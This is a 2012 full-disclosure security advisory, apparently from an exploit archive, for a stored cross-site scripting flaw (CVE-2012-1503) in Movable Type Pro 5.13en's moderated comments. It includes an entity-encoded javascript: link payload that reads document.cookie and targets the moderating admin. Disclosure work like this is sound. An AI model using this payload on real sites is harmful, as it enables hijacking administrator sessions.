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Movable Type Pro 5.13en Cross Site Scripting

Movable Type Pro 5.13en Cross Site Scripting
Posted Oct 20, 2012
Authored by sqlhacker

Movable Type Pro version 5.13en suffers from a stored cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2012-1503
MD5 | 60c3615d9f50457bbcce60c86e4b3e8a

Movable Type Pro 5.13en Cross Site Scripting

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Source URL: http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Keywords: CVE-2012-1503, Movable Type Pro 5.13en, Stored XSS,
JavaScript Injection, Vendor Unresponsive, Full Disclosure

Introduction

Movable Type (MT) started as one of the industries first blogging platforms
and has developed into an industry leading publishing platform which has
been used globally for more than 10 years. Movable Type makes it simple to
manage entire websites, start new blogs, and build an engaged community of
readers and customers.

Six Apart KK has assumed responsibility over all intellectual property and
business operations of Movable Type, as well as trademark rights of Six
Apart. The new Six Apart, a Japanese corporation formerly known as Six
Apart KK, currently develops, markets and supports Movable Type for a
global user base, and also operates the company's website
(www.sixapart.com). The application can be downloaded from URL
http://www.movabletype.com/download/.

Exploit

Our researchers discovered a persistent XSS vulnerability, allowing an
attacker to inject arbitrary script code into the comment section of any
existing Mt5.13en installation. The blog comment is being moderated before
published; that means an attacker can target the moderating Admin
(employee) via Javascript Injection.

Exploit Code:

<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X CLICKME NOW! X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X</a>

Screenshot at URL
http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Bug Metrics: CVSS 6.5

Timeline

March 2012 - Email PoC to Vendor via mt-security@sixapart.jp
April 2012 - No Response from Vendor
May 2012 - Email PoC to Vendor via mt-security@sixapart.jp
October 2012 - Full Disclosure

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